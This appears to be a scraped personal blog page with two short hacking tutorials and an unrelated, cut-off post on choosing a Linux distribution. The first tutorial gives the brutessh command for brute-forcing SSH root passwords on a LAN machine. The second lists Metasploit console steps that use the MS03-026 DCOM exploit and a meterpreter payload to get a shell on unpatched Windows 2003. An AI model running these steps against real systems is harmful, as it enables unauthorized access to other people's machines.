Brutessh Attack Demo

Image
This is just an educational demo of how a brutessh attack is done to get ssh access from remote machine, this is a bruteforce attack so may take long time or no time, its uncertain. And you may get pass or not depending upon how much footprinting you did to create the passwordlist.Here I have the attacking machine 192.168.2.10 with backtrack5(revolution) and the target machine is running OpenBSD (192.168.2.15). For this purpose I just have created my own custom mypasswordlist.txt which needs to be prepared by footprinting and enumeration. And for my purpose I have taken the root account you may check for the various accounts.The steps involved for this attack are as follows: 1)Fire up your gnome-terminal 2)and goto to your brutessh folder, just type ./brutessh -h 192.168.2.15 -u root -d mypasswordlist.txt 3)and you'll see the passwords revealed. 4)then you can ssh 192.168.2.15 with the password revealed you'll access the target remotely.

Remote Access Computer [Armitage]

Image
This is just for a demo of how I used metasploit for accessing a remote computer with windows 2003 server (192.168.2.14) in my lan. It's all done in the commandline interface using metasploit. You can check the embeded video which demonstrates how one can do the very same using armitage (GUI too) with metasploit in bactrack5 (revolution). It's just for educational purpose. Don't use this for any wrong intentions. Let me tell that it works in unpatched systems like windows xp, windows server2003, etc. It doesn't work for the systems with the security patches applied like windows7. 1)open terminal  2)./msfconsole 3)show exploits 4)use msrpc_dcom_ms03_026 5)show payloads 6)set PAYLOAD win32_bind_meterpreter 7)show options 8)set RHOST 192.168.2.14  9)set RPORT 23 10)exploit 11)help 12) use -m process 13)help  14)execute 15)execute -f cmd -c 16)interact 1 17) voila you get access right there Check this  video  or click this  link .

I went through lots of those facebook groups and pages. And even in talks with some of my fellas, I saw one question that was usually repeated everywhere. And that is, which is the best  linux  and why? So I thought of writing this article. According to me,  linux  itself is the best one. It is because  linux  is an  opensource movement. And always when the term opensource comes community comes. That is opensource means by the community for the community to the community. And of course this is the best thing, right? That's why  opensource  is like synonym to  freedom , the true  freedom . Well let me not go away talking about opensource . I need to be centralised in which  linux  is best and why. You can get lots of stuffs over the internet just go google it to know more about  opensource . What I believe is no  linux  distro can be said to be the best one.  Linux  being the best in itself, you ...
